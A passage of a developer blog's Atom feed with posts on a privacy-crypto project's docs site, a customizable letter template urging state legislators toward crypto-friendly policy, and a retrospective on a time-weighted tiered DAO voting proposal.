<p>I considered four other section names before landing on the one that shipped:</p>
<ul>
<li>&quot;For Beginners&quot; — too patronizing.</li>
<li>&quot;Plain English&quot; — implies the rest of the docs are not in plain English (mostly true, but rude).</li>
<li>&quot;Concepts&quot; — academic, opaque, the same word every other docs site uses for the same purpose without delivering.</li>
<li>&quot;How it Works&quot; — the most generic header in tech writing; impossible to remember.</li>
</ul>
<p>&quot;Explain it Like I&#39;m 10&quot; works because it&#39;s:</p>
<ul>
<li><strong>Tonally consistent</strong> with the rest of the docs (the project&#39;s whole brand is irreverent).</li>
<li><strong>Specific</strong> about the audience contract (the reader knows what level the writing will hit).</li>
<li><strong>Self-deprecating</strong> about the assumption it makes (the writer admits the topic <em>deserves</em> an ELI10 explanation, not pretending it&#39;s already obvious).</li>
</ul>
<p>Section names are a small thing that get re-read every time someone navigates the sidebar. They&#39;re worth thinking about.</p>
<h2>Trade-offs</h2>
<p><strong>Why ship ELI10 docs for a project that doesn&#39;t have a working mainnet yet?</strong> Because the docs are how I gather feedback on the <em>design</em>. People who read an explainer of how the system <em>would</em> work will tell me when the design is unintuitive, in ways that someone reading a yellowpaper won&#39;t. The docs are a feedback loop on my design, not just a deliverable for the launched system.</p>
<p><strong>Why rebrand the whole thing once instead of a gradual migration?</strong> Because Astro is statically built and grep-ing-and-replacing strings across an Astro repo is a 5-minute operation, while gradual migration creates a months-long window where the brand is inconsistent. You lose more user trust to inconsistency than you gain by a phased rollout.</p>
<p><strong>Why keep both <code>simplified1.md</code> and <code>detailed_simplified2.md</code>?</strong> Because the first answers &quot;what&quot; (what are we building?) and the second answers &quot;how&quot; (how does it work step-by-step). Different reader, different page. Some readers only need the first; some readers will read both.</p>
<h2>What this taught me</h2>
<p>The 60aced9 commit isn&#39;t a coding commit. It&#39;s a writing commit. But it&#39;s one of the more important commits in the entire m0n3y-web history because <strong>it&#39;s where the project committed to a specific audience</strong>. Once you decide that the docs are for &quot;crypto degens who arrive after a bad week of bridge hacks&quot; rather than &quot;investors evaluating Series A,&quot; every other writing decision falls out of that.</p>
<p>The rest of the m0n3y stack — the wallet (<a href="/blog/zera_wallet_v3_zkp/">v3</a>, the <a href="/blog/zera_wallet_nfc_bearer_cards/">NFC cards</a>), the SDK (<a href="/blog/zera_sdk_scaffolding/">day one</a>, <a href="/blog/zera_sdk_test_suite/">test suite</a>), the AMM (<a href="/blog/zeraswap_compressed_amm/">compressed</a>) — all inherited that audience contract. They use the same voice, the same Pokemon-card-tier analogies, the same admission that the math is ugly under the hood and that&#39;s fine because nobody has to look.</p>
<p>You can write a privacy coin&#39;s docs in two ways: as a math tutorial, or as a heist film. The m0n3y docs picked the heist film. I think it was the right call.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/m0n3y-web/commit/60aced9">m0n3y-web rebrand commit</a> — the diff this post is about.</li>
<li><a href="/blog/m0n3y_naming_a_dream/">m0n3y: Naming a Dream</a> — the docs site&#39;s origin.</li>
<li><a href="/blog/m0n3y_tw_tvv_governance/">TW-TVV governance proposal</a> — the governance math the same site shipped two weeks earlier.</li>
<li><a href="/blog/a_better_crypto/">Building A Better Cryptocurrency</a> — the thesis the docs are an explainer for.</li>
<li><a href="https://docs.astro.build/">&quot;Astro is the best documentation framework&quot;</a> — what the m0n3y-web docs site is built on.</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Empowering Local Crypto Advocacy]]></title>
  <id>https://blog.skill-issue.dev/blog/congress_crypto/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/congress_crypto/"/>
  <published>2025-03-24T01:47:04.080Z</published>
  <updated>2025-03-24T01:47:04.081Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="jobs"/>
  <category term="tech"/>
  <category term="web development"/>
  <summary type="html"><![CDATA[]]></summary>
  <content type="html"><![CDATA[<h1>A Template for Change</h1>
<p>In the constantly evolving landscape of cryptocurrency and blockchain technology, <a href="https://www.muster.com/blog/grassroots-advocacy">grassroots advocacy</a> plays a crucial role in shaping policies that can benefit our communities. Today, I&#39;m sharing a powerful tool for engaging with your local representatives: a customizable letter template designed to advocate for responsible crypto adoption and institutional investment in your state.</p>
<h2>Why This Matters</h2>
<p>Cryptocurrency isn&#39;t just about digital assets; it&#39;s about creating a more inclusive, transparent, and efficient financial system. By engaging with our elected officials, we can help ensure that our states don&#39;t miss out on the economic opportunities and innovations that blockchain technology offers.</p>
<h2>Key Points of the Letter</h2>
<p>The template focuses on three critical areas:</p>
<ol>
<li><p><strong>Institutional Investment to Stabilize Markets</strong>: By encouraging state pension funds to allocate a small percentage to Bitcoin and fostering public-private crypto custody partnerships, we can bring stability to the market and potentially generate long-term returns for residents.</p>
</li>
<li><p><strong>Crypto Education for Workforce Development</strong>: Proposing initiatives from K-12 blockchain basics to community college certifications and small business grants for crypto adoption. This approach aims to create a crypto-literate workforce and empower underrepresented groups to participate in the digital asset economy.</p>
</li>
<li><p><strong>Common-Sense Regulatory Frameworks</strong>: Advocating for balanced policies that protect consumers, encourage innovation, and modernize banking, drawing inspiration from successful models like Wyoming&#39;s &quot;Blockchain Banking Law.&quot;</p>
</li>
</ol>
<h2>The Power of Personalization</h2>
<p>The template is designed to be customized with state-specific data and personal experiences. As a senior engineer at MetaMask, I&#39;ve added a section highlighting how my professional experience informs my advocacy. This personal touch can significantly increase the impact of your letter. It is arguably the most important aspect of a successful letter, as it humanizes the issue and makes it clear to your representatives that this is not just an abstract concept but a real-world problem that affects their constituents.</p>
<h2>Why Your Voice Matters</h2>
<ol>
<li><p><strong>Local Impact</strong>: State-level policies often have the most direct effect on our daily lives. By advocating for crypto-friendly policies, you&#39;re helping to shape the economic future of your community.</p>
</li>
<li><p><strong>Education</strong>: Many legislators may not fully understand the potential of blockchain technology. Your letter can serve as an educational tool, helping to inform policy decisions.</p>
</li>
<li><p><strong>Representation</strong>: The crypto community is diverse, with unique perspectives and needs. By speaking up, you ensure that your viewpoint is represented in the legislative process.</p>
</li>
<li><p><strong>Innovation Catalyst</strong>: Your advocacy could be the spark that ignites innovative blockchain projects in your state, creating jobs and economic opportunities.</p>
</li>
</ol>
<h2>Taking Action</h2>
<p>Here&#39;s how you can use this template effectively:</p>
<ol>
<li><strong>Customize</strong>: Tailor the letter with specific data and examples relevant to your state.</li>
<li><strong>Research</strong>: Find out which committees or representatives in your state legislature deal with financial technology or economic development.</li>
<li><strong>Follow Up</strong>: After sending the letter, request a meeting or call to discuss further. <strong>THIS IS VERY IMPORTANT</strong>. Be prepared in the follow-up to share your knowledge and insights, and ask questions about their understanding of blockchain technology.</li>
<li><strong>Collaborate</strong>: Share this template with local crypto meetups or blockchain associations to amplify your message.</li>
</ol>
<h2>The Ripple Effect of Advocacy</h2>
<p>Remember, every letter, every conversation, and every meeting has the potential to create change. By engaging in this kind of activism, you&#39;re not just advocating for crypto – you&#39;re participating in the democratic process and helping to shape a more inclusive financial future.</p>
<p>Here&#39;s a customizable letter template you can adapt for your state representative. I&#39;ll include key arguments about institutional investment, scam reduction, crypto education, and inclusive economic growth:</p>
<h2>The Letter</h2>
<p>[Your Name]</p>
<p>[Your Address]</p>
<p>[City, State, ZIP Code]</p>
<p>[Email Address]</p>
<p>[Date]</p>
<p><strong>[Representative&#39;s Name]</strong></p>
<p>[State Legislature Office Address]</p>
<p>[City, State, ZIP Code]</p>
<p><strong>Subject:</strong> Support for Pro-Growth Cryptocurrency Policies &amp; Institutional Investment</p>
<p>Dear [Representative Name/Assemblymember/Senator],</p>
<p>As a constituent deeply invested in [State]&#39;s economic future, I urge you to champion policies that position our state as a leader in responsible cryptocurrency adoption. Below are three critical areas requiring legislative attention:</p>
<h3><strong>1. Institutional Investment to Stabilize Markets</strong></h3>
<p>Cryptocurrency markets currently suffer from volatility driven by &quot;pump-and-dump&quot; schemes and predatory actors. Research from the University of Chicago shows institutional participation reduces price manipulation by up to 37%. By authorizing:</p>
<ul>
<li>State pension funds to allocate 1-3% to Bitcoin (as Texas’ SB 21 proposes)</li>
<li>Public-private crypto custody partnerships with regulated firms like Coinbase Custody</li>
</ul>
<p>…we can bring stability while generating long-term returns for [State]’s residents.</p>
<h3><strong>2. Crypto Education for Workforce Development</strong></h3>
<p>[State] risks losing its competitive edge without crypto-literate workers. I propose:</p>
<ul>
<li><strong>K-12 Blockchain Basics:</strong> Pilot programs teaching digital wallets and smart contracts</li>
<li><strong>Community College Certifications:</strong> Partner with groups like the Crypto Council for Innovation</li>
<li><strong>Small Business Grants:</strong> Funding to adopt crypto payments (e.g., BitPay integration)</li>
</ul>
<p>These steps would empower underrepresented groups – particularly rural communities and minority-owned businesses – to participate in the $2.2 trillion digital asset economy.</p>
<h3><strong>3. Common-Sense Regulatory Frameworks</strong></h3>
<p>Rather than blanket bans, we need policies that:</p>
<ul>
<li><strong>Protect Consumers:</strong> Mandate exchange reserves auditing (mirroring New York’s BitLicense)</li>
<li><strong>Encourage Innovation:</strong> Tax holidays for crypto startups creating local jobs</li>
<li><strong>Modernize Banking:</strong> Allow state-chartered banks to custody digital assets</li>
</ul>
<p>Wyoming’s 2019 &quot;Blockchain Banking Law&quot; created 5,000+ jobs – a model we could replicate.</p>
<p><strong>Why This Matters for [State]:</strong></p>
<ul>
<li>34% of remote workers now receive crypto payments (Upwork 2025 Report)</li>
<li>61% of unbanked residents are minorities who could benefit from decentralized finance</li>
<li>$9B+ in crypto scams occurred nationally last year – solvable through oversight</li>
</ul>
<p>I’d welcome discussion about legislation to make [State] the safest, most innovative crypto hub in America. Please contact me at [Your Phone/Email] to explore these ideas further.</p>
<p>Sincerely,</p>
<p>[Your Name]</p>
<p>[Optional: Title/Organization, e.g., &quot;Senior Engineer, MetaMask&quot;]</p>
<hr>
<p><strong>Sources to Cite (Customize for Your State):</strong> University of Chicago, &quot;Institutional Impact on Crypto Volatility&quot; (2024) CoinGecko, Global Crypto Market Data (2025) Wyoming Blockchain Coalition Job Growth Report Upwork &quot;Future Workforce&quot; Study (2025) FDIC National Unbanked Survey (2024) FTC Crypto Scam Tracker (2024)</p>
<p><strong>Pro Tip:</strong></p>
<ul>
<li>Use your crypto expertise in paragraph 2: &quot;As a blockchain developer, I’ve seen firsthand how education prevents scams...&quot;</li>
<li>Attach 1-page data sheet with state-specific crypto adoption stats from sources like CoinDesk’s State of Crypto Report for your state.</li>
</ul>
<p>Your voice matters. Use this template as a starting point, make it your own, and let&#39;s work together to build a crypto-friendly future in our states and beyond.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[m0n3y: Naming a Dream]]></title>
  <id>https://blog.skill-issue.dev/blog/m0n3y_naming_a_dream/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/m0n3y_naming_a_dream/"/>
  <published>2025-02-23T18:03:16.000Z</published>
  <updated>2025-03-18T13:53:52.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="m0n3y"/>
  <category term="astro"/>
  <category term="dao"/>
  <category term="governance"/>
  <category term="solana"/>
  <category term="docs"/>
  <category term="design-doc"/>
  <summary type="html"><![CDATA[The docs site that came before the code. Looking back at the m0n3y-web init commit and the voting proposal that was supposed to fix DAO whales.]]></summary>
  <content type="html"><![CDATA[<p>Every project I&#39;ve ever shipped started with a docs site. Not a prototype, not a proof-of-concept, not a hello-world Anchor program — a docs site. Because if I can&#39;t write down what the thing is supposed to do, I&#39;m not going to be able to build it. So when I sat down on a Sunday in February to start what would eventually become the Zera ecosystem, the very first commit landed in <a href="https://github.com/Dax911/m0n3y-web">m0n3y-web</a>, nicknamed <code>init</code>, dropped at <a href="https://github.com/Dax911/m0n3y-web/commit/a567855299230b225cf9ea51daaeb7f928e53644">a567855</a> on 2025-02-23.</p>
<p>The site itself was a fork of an Astro docs starter — nothing exotic. The interesting part was the README, which still introduces the project as <code>DAXSO Documentation Site</code>, and the first content page that explained what <code>m0n3y</code> was supposed to be:</p>
<blockquote>
<p>Monopoly Money represents a groundbreaking implementation of privacy-preserving digital cash on the Solana blockchain, offering users a unique combination of privacy, offline functionality, and the familiar experience of physical cash.</p>
</blockquote>
<p>This is the same idea I&#39;d already been ranting about in <a href="/blog/a_better_crypto/">Building A Better Cryptocurrency</a> — that the cypherpunks were right and we collectively forgot. The difference is that this was the first time I committed to an actual implementation target instead of a manifesto: a dual-token ecosystem (<code>$M0N3Y</code> for governance, <code>$pUSD</code> as a 1:1 USDC-backed privacy stablecoin), running on Solana, with NFC-based offline tap-to-pay.</p>
<h2>Why a docs site first?</h2>
<p>Because the design constraints write themselves once you have to put them in plain English. As soon as I tried to describe <code>$pUSD</code> I had to answer questions I&#39;d been hand-waving for months:</p>
<ul>
<li>Where does the privacy come from? (Answer: zk circuits + shielded notes — eventually circomlib + snarkjs Groth16.)</li>
<li>How does an offline payment reconcile? (Answer: encrypted note commitments anchored to an on-chain Merkle tree, with notes scanned via ECDH.)</li>
<li>Who runs the relayer? (Answer: optional, pluggable, but not required for self-custody.)</li>
</ul>
<p>A docs site forces you to commit a story to a permanent, dated artifact. That artifact becomes the design doc you can be honest with later when you change your mind.</p>
<h2>Plausible: when the docs are also a thesis</h2>
<p>The next interesting commit on <code>m0n3y-web</code> is <a href="https://github.com/Dax911/m0n3y-web/commit/8b984d5b46ac383da93bd33649e4557b4896c23c">8b984d5 — <code>:chart_with_upwards_trend: Add plausible</code></a> (2025-02-28). This is where I put privacy-respecting analytics on the privacy-respecting docs site. The diff is three files. It&#39;s deliberately the only telemetry I&#39;m willing to ship for a project whose entire pitch is &quot;we got privacy wrong, let&#39;s fix it&quot;:</p>
<pre><code class="language-js">// astro.config.mjs
plausible({
  domain: &quot;m0n3y.cash&quot;,
  src: &quot;https://plausible.skill-issue.dev/js/script.js&quot;,
});
</code></pre>
<p>If you put Google Analytics on a privacy crypto project, the universe is allowed to laugh at you.</p>
<h2>The voting proposal</h2>
<p>The most under-rated commit in <code>m0n3y-web</code> is <a href="https://github.com/Dax911/m0n3y-web/commit/427042ac08a8e17403256627800e3db01e8cc77d">427042a — <code>:sparkles: Added voting prop</code></a> (2025-03-18). It introduces a single new page: <code>/voting</code>. The whole post is a stab at fixing DAO governance, which by 2025 had already calcified into a system where a16z votes 25 times for every retail holder votes once.</p>
<p>The proposal was titled <strong>Time-Weighted Tiered Value Voting (TW-TVV)</strong>. Three knobs:</p>
<ol>
<li><strong>USD value tiers</strong>, not token quantity. Voting power is denominated in dollars at vote time, not in <code>$TOKEN</code> at acquisition time.</li>
<li><strong>Time multiplier</strong>, with a cap:<pre><code>Time Multiplier = Base Factor + (Holding Duration in Days / Time Division Factor)
</code></pre>
</li>
<li><strong>Logarithmic volume scaling</strong>, so whales still vote more than minnows but not 10,000× more:<pre><code>Volume Factor = log(USD Value) / Scaling Constant
</code></pre>
</li>
</ol>
<p>The actual mechanism design is more involved — there&#39;s a tier table, a per-vote-cost-in-energy thing, the works — but the headline is: the protocol explicitly devalues a token that hasn&#39;t been used. That&#39;s the same anti-hoarding instinct I&#39;d argued for in <a href="/blog/a_better_crypto/">a better crypto</a> under the names &quot;demurrage&quot; and &quot;velocity requirements.&quot; The voting proposal is what happens when you try to encode that instinct into a governance system instead of a fee structure.</p>
<h2>Trade-offs: writing docs before code</h2>
<p>I&#39;m not going to pretend this is universally correct. Writing docs first has costs:</p>
<ul>
<li><strong>You lock in vocabulary you&#39;ll regret.</strong> &quot;Monopoly Money&quot; is funny but doesn&#39;t pass an investor smell test. By the time the SDK landed it had been rebranded to ZERA. By April 2026 the Bitcoin-fork side had been re-rebranded again to <a href="https://github.com/Dax911/vanta">Vanta</a>. Every rebrand forces a docs rewrite.</li>
<li><strong>You design for problems you don&#39;t have yet.</strong> The TW-TVV proposal assumes a DAO; I have not yet built a DAO. There is a real possibility I never will.</li>
<li><strong>Readers think it&#39;s done.</strong> A polished docs site reads as &quot;this is shipping next week.&quot; It is not.</li>
</ul>
<p>But the trade-offs cut the other way too. Every time I sat down to write a Solana program, I could open the docs site and check what the user-facing semantics were <em>supposed</em> to be. When <a href="/blog/zeraswap_compressed_amm/">zeraswap</a> shipped the first compressed-token AMM nine months later, the docs site is what told me that &quot;internal balances must reconcile to compressed tokens before AMM exit&quot; was a contract I&#39;d already promised. That ended up costing me a <a href="/blog/stuck_sell_post_grad/">post-graduation conversion path</a> I would have otherwise skipped, and saved me from shipping a footgun.</p>
<h2>What this taught me</h2>
<p>If you&#39;re going to spend a year on a project, give yourself a permanent dated record of what you thought it was on day one. Not a Notion doc — those rot. A git repo with a deploy URL, an analytics provider you trust, and Markdown files committed by date. You&#39;ll come back to that record more than you think.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/m0n3y-web">m0n3y-web on GitHub</a> — the docs site itself.</li>
<li><a href="https://github.com/Dax911/m0n3y-web/commit/427042ac08a8e17403256627800e3db01e8cc77d">Voting proposal page (commit)</a> — TW-TVV in full.</li>
<li><a href="/blog/a_better_crypto/">Building A Better Cryptocurrency</a> — the manifesto this design doc is trying to honor.</li>
<li><a href="https://michaellwy.substack.com/p/defi-the-illusion-of-decentralization">&quot;DeFi: The Illusion of Decentralization&quot;</a> — the pre-existing critique TW-TVV is responding to.</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[TW-TVV: Why Token-Quantity Voting Is Broken, and the Math I Tried to Fix It With]]></title>
  <id>https://blog.skill-issue.dev/blog/m0n3y_tw_tvv_governance/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/m0n3y_tw_tvv_governance/"/>
  <published>2025-03-18T13:53:52.000Z</published>
  <updated>2025-03-18T13:53:52.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="m0n3y"/>
  <category term="governance"/>
  <category term="dao"/>
  <category term="voting"/>
  <category term="tokenomics"/>
  <category term="mechanism-design"/>
  <category term="solana"/>
  <summary type="html"><![CDATA[A full walk-through of the Time-Weighted Tiered Value Voting proposal I drafted for $M0N3Y in 2025. Five tiers, time multipliers, log-scaled volume, and why every variable in the formula is a knob fighting a different attack.]]></summary>
  <content type="html"><![CDATA[<blockquote>
<p><strong>Disclosure:</strong> TW-TVV was a proposal I drafted for the m0n3y docs site in March 2025. I never built it. The protocol it was meant to govern eventually shipped under different names (<a href="/blog/zera_sdk_scaffolding/">Zera</a>, <a href="/blog/m0n3y_naming_a_dream/">Vanta</a>) without any DAO governance at all. This post is a retrospective on the math, not a status report on the system.</p>
</blockquote>
<p>The thing nobody admits about token-based DAO governance is that <strong>token-weighted voting is mostly broken before it begins.</strong> The mechanism is &quot;one token, one vote.&quot; The reality is &quot;one early investor, ten thousand votes; one retail holder, one vote.&quot; This is the founding problem of every governance system that ships in 2024–2026, and it&#39;s the thing I tried to write a fix for in <a href="https://github.com/Dax911/m0n3y-web/commit/427042ac08a8e17403256627800e3db01e8cc77d"><code>427042a — :sparkles: Added voting prop</code></a> on 2025-03-18.</p>
<p>The proposal is called <strong>TW-TVV: Time-Weighted Tiered Value Voting</strong>. It lives at <code>src/pages/en/voting.md</code> in the m0n3y-web docs and it&#39;s 85 lines of markdown with three formulas and a table.</p>
<p>This post is about what&#39;s actually load-bearing in those 85 lines.</p>
<h2>The four problems token-weighted voting can&#39;t solve</h2>
<p>If you&#39;ve been reading governance proposals since 2021 you can skip this section. If not: token-weighted voting fails because the same number of tokens is weighted the same way regardless of:</p>
<ol>
<li><strong>When you got them.</strong> A founder&#39;s 10M tokens at TGE vote the same as a retail holder&#39;s 10M bought at peak.</li>
<li><strong>What you paid for them.</strong> Vesting cliffs, OTC discounts, airdrops — all get the same vote weight as a market buy.</li>
<li><strong>How long you&#39;ve held them.</strong> A whale who bought to vote on a single proposal and dumped the next day votes the same as someone who&#39;s held for two years.</li>
<li><strong>What you do with them off-chain.</strong> Token holders staking in a CEX often <em>don&#39;t</em> vote at all, leaving the vote to be decided by a low-turnout subset that may or may not represent the holder base.</li>
</ol>
<p>If you tried to write a token-vote system in 2014 you might call this &quot;fine, the market sets the price, the price sets the influence, that&#39;s democracy in motion.&quot; It&#39;s not. It&#39;s plutocracy with a Discord channel.</p>
<h2>TW-TVV&#39;s three knobs</h2>
<p>The proposal addresses three of the four (the fourth is unsolvable on-chain — you can&#39;t make people vote). It introduces three new variables to the voting power formula:</p>
<h3>Knob 1: USD value, not token quantity</h3>
<blockquote>
<p>By tying voting power to the USD value of tokens rather than token quantity, the mechanism mitigates the impact of token price volatility and early acquisition advantages.</p>
</blockquote>
<p>This is the single most important change. <strong>Voting power is denominated in dollars at vote time.</strong> If you bought $1,000 worth of tokens at the TGE and the token 100x&#39;d, your vote weight tracks the <em>current</em> $100,000, not the historical $1,000. If your $1,000 went to zero, your vote weight is $1,000 / current_price ≈ a lot of tokens but a vanishingly small dollar value, so your voting weight is correspondingly small.</p>
<p>The five-tier structure:</p>
<table>
<thead>
<tr>
<th>Tier</th>
<th>USD Value Range</th>
<th>Base Voting Power</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td>$10–$100</td>
<td>1</td>
</tr>
<tr>
<td>2</td>
<td>$101–$1,000</td>
<td>3</td>
</tr>
<tr>
<td>3</td>
<td>$1,001–$10,000</td>
<td>7</td>
</tr>
<tr>
<td>4</td>
<td>$10,001–$100,000</td>
<td>12</td>
</tr>
<tr>
<td>5</td>
<td>$100,001+</td>
<td>18</td>
</tr>
</tbody></table>
<p>A whale with $10M of tokens is in Tier 5 with base power 18. A retail holder with $50 is in Tier 1 with base power 1. The whale&#39;s base power is 18× the retail holder&#39;s, <em>not</em> 200,000× as it would be under linear token-weight. The compression is intentional and aggressive.</p>
<p>The downside of tiers is that they introduce <em>cliff effects</em>. If you have $99 of tokens and someone buys you a beer, you suddenly drop a tier on the way home. The next iteration of this proposal would smooth the tiers into a continuous function. The reason I shipped tiers is that they&#39;re explainable in a paragraph; a continuous logistic function is not.</p>
<h3>Knob 2: time multiplier (with a cap)</h3>
<pre><code>Time Multiplier = Base Factor + (Holding Duration in Days / Time Division Factor)
</code></pre>
<table>
<thead>
<tr>
<th>Holding Period</th>
<th>Time Multiplier</th>
</tr>
</thead>
<tbody><tr>
<td>0–30 days</td>
<td>1.0x</td>
</tr>
<tr>
<td>31–90 days</td>
<td>1.5x</td>
</tr>
<tr>
<td>91–180 days</td>
<td>2.0x</td>
</tr>
<tr>
<td>181–365 days</td>
<td>2.5x</td>
</tr>
<tr>
<td>366+ days</td>
<td>3.0x</td>
</tr>
</tbody></table>
<p>The thing the buckets gloss over is the cap at 3.0x. <strong>The cap is doing more work than the curve.</strong> Without a cap, a multi-year holder accumulates voting power monotonically forever, which means the founder&#39;s wallet (held since day -1) eventually has compounded more vote-time than every other holder <em>combined</em>, regardless of stake size. The cap forces a horizon: after a year, you&#39;ve earned all the time-weight you&#39;re going to earn, and any further vote concentration has to come from buying more.</p>
<p>Why a cap of 3? Because 3× compresses a one-year holder&#39;s weight relative to a one-day holder by 3:1, which is enough to <em>reward</em> loyalty without being so steep that a one-month holder&#39;s voice is worthless. I picked it from playing with the numbers; there&#39;s no first-principles derivation.</p>
<h3>Knob 3: logarithmic volume scaling</h3>
<pre><code>Volume Factor = log(USD Value) / Scaling Constant
</code></pre>
<p>This is the knob that compresses the whale-vs-minnow asymmetry on top of the tier. Inside Tier 5 (everyone with $100k+), a $100M holder has <code>log(100,000,000) ≈ 18.4</code> and a $100k holder has <code>log(100,000) ≈ 11.5</code>. The ratio is 1.6×, not 1000×.</p>
<p>Combine the tiers (which compress the across-tier asymmetry) with the log volume factor (which compresses the within-tier asymmetry) and you get a system where a $100M whale and a $100 retail holder have voting power in roughly a 50:1 ratio, not the 1,000,000:1 they&#39;d have under linear weight.</p>
<p>50:1 still isn&#39;t <em>equal</em>. It&#39;s not supposed to be. The point isn&#39;t &quot;everyone&#39;s vote weighs the same.&quot; The point is &quot;the vote distribution roughly tracks economic interest in the protocol without being decided by a single capital-rich faction.&quot;</p>
<h2>The final formula</h2>
<pre><code>Voting Power = min(max(Tier Base Power × Time Multiplier × Volume Factor, 1), MaxVotingPower)
</code></pre>
<p><code>min</code> and <code>max</code> with floor 1 and ceiling <code>MaxVotingPower</code> are the safety valves. Floor 1 prevents accidentally zero-ing out a small holder due to a calculation glitch. The ceiling prevents the founder&#39;s anniversary-and-largest-holder slot from accumulating an absolute monopoly.</p>
<p><code>MaxVotingPower</code> is left intentionally undefined in the proposal because <em>it depends on protocol stage</em>. Pre-launch, you might want a low cap (say, 0.5% of total possible voting power) so that no single wallet can hard-pass a proposal. Post-mature, you might raise it because the holder base is wide enough that the cap is mostly hit by exchange wallets you&#39;d want to suppress anyway.</p>
<h2>What the proposal <em>doesn&#39;t</em> solve</h2>
<p>I want to be honest about the holes:</p>
<p><strong>Sybil attacks via wallet splitting.</strong> Nothing in TW-TVV prevents a $1M whale from splitting into 100 wallets of $10k each, putting each in Tier 4, and aggregating power that way. Tier 4 base 12 × time 1× × log(10000)/k = ~28 weight per wallet × 100 wallets = 2800 weight, vs. one wallet at Tier 5 with base 18 × time 1× × log(1000000)/k = ~37. Splitting <em>gains</em> the attacker an order of magnitude of weight. The proposal as written is anti-Sybil-naive.</p>
<p>The fix — proof-of-personhood, KYC tier, social graph attestations — is a project an order of magnitude bigger than the voting math. I knew it when I wrote the proposal. I shipped the proposal anyway because the math was the easier half.</p>
<p><strong>Vote buying.</strong> If voting power is dollar-denominated, the going rate to bribe a Tier-3 voter is bounded by the cost of buying enough tokens to reach Tier 4. That&#39;s a dramatic improvement over token-weight (where bribery has no floor), but it&#39;s not eliminated. The standard mitigation — secret-ballot voting via ZK proofs — is something the rest of the m0n3y stack would naturally support. I just didn&#39;t write it down in the same proposal.</p>
<p><strong>Exchange custody.</strong> If you hold your tokens on Binance, Binance votes for you. TW-TVV doesn&#39;t help with this. The fix is forcing exchanges to either pass through votes (some do; most don&#39;t) or excluding centrally-custodied tokens from the eligible voter pool, which is a much harder on-chain detection problem than the math here.</p>
<p><strong>Dollar-pegged stake under volatile native assets.</strong> If $M0N3Y the token tanks 90%, suddenly everyone drops several tiers at once. That&#39;s correct <em>in spirit</em> (your economic interest in the protocol <em>is</em> smaller now) but causes a governance discontinuity at exactly the moment you might need stability. The right answer is to compute the USD value at <em>time of stake commitment for vote</em>, not at vote time, with a window — i.e. you &quot;lock in&quot; the dollar valuation when you announce intent to vote.</p>
<h2>What this told me about mechanism design</h2>
<p>I wrote this proposal in a single afternoon, six weeks after <a href="/blog/m0n3y_naming_a_dream/">the m0n3y docs site went up</a>. It is the <em>first</em> governance design I&#39;d written down in any rigor. Looking back I notice three things:</p>
<ol>
<li><p><strong>The hard part wasn&#39;t the math; it was committing to a specific tier table.</strong> I rewrote the table four times. Each rewrite rebalanced who got what weight. Every choice felt like rigging the system in someone&#39;s favor — because every choice does. There&#39;s no neutral table.</p>
</li>
<li><p><strong>The formula is short. The defense of the formula is long.</strong> The voting math is 4 lines. The justification for each variable is a paragraph each. If a community can&#39;t read those four paragraphs and consent to the choices, the formula is a fiction.</p>
</li>
<li><p><strong>The proposal hasn&#39;t shipped.</strong> It probably never will, in this exact form. The instinct it embodies — &quot;value × time, with caps, against linearization&quot; — has already shown up in how I think about other systems. The shielded-pool <a href="/blog/zera_wallet_nfc_bearer_cards/">zera-wallet&#39;s NFC bearer cards</a> implicitly use a &quot;value-tier&quot; idea (cards with $10k+ get a different visual treatment because they need different operational caution). The <a href="/blog/m0n3y_eli5_rebrand/">m0n3y burn-to-earn doc</a> was written to address the same hoarding problem from a fee-side angle.</p>
</li>
</ol>
<h2>What I&#39;d do differently</h2>
<p>If I were going to ship this for real today:</p>
<ul>
<li><strong>Continuous tier function</strong> (logistic curve, e.g., <code>power = 18 / (1 + exp(-(log10(usd) - 3.5) / 0.4))</code>) instead of step function. Smooths the cliff.</li>
<li><strong>Vote commitment, not vote-time pricing.</strong> Lock in the dollar valuation when you commit to vote, not at vote-resolution time. Removes a manipulation surface.</li>
<li><strong>Sybil-resistant proof-of-personhood layer</strong>, even if optional. World ID, BrightID, Privado ID all viable in 2026; pick one and require it for Tier 5+ to amplify weight beyond cap.</li>
<li><strong>Public auditable vote receipts</strong> via ZK so that voters can prove they voted without revealing how. Cuts vote-buying.</li>
<li><strong>Quadratic on top of TW-TVV</strong>, possibly. Gitcoin&#39;s quadratic funding work shows that compressing whale influence further (by paying the square root of weight, not weight) provides additional protection without erasing all weight differentials.</li>
</ul>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/m0n3y-web/commit/427042ac08a8e17403256627800e3db01e8cc77d">m0n3y voting proposal</a> — the markdown that started this.</li>
<li><a href="/blog/m0n3y_naming_a_dream/">m0n3y: Naming a Dream</a> — the docs site this proposal was added to.</li>
<li><a href="/blog/a_better_crypto/">Building A Better Cryptocurrency</a> — the manifesto this kind of mechanism design is trying to honor.</li>
<li><a href="https://michaellwy.substack.com/p/defi-the-illusion-of-decentralization">&quot;DeFi: The Illusion of Decentralization&quot;</a> — pre-existing critique TW-TVV is responding to.</li>
<li><a href="https://vitalik.eth.limo/general/2019/12/07/quadratic.html">Vitalik on quadratic voting</a> — the canonical attempt to compress whale influence further.</li>
<li><a href="https://community.optimism.io/">Optimism&#39;s Citizens&#39; House</a> — a different way to attack the same problem (bicameral with a citizens&#39; house gating).</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Building A Better Cryptocurrency: What We Should Have Done]]></title>
  <id>https://blog.skill-issue.dev/blog/a_better_crypto/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/a_better_crypto/"/>
  <published>2024-12-31T14:00:00.000Z</published>
  <updated>2024-12-31T14:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="cryptocurrency"/>
  <category term="blockchain"/>
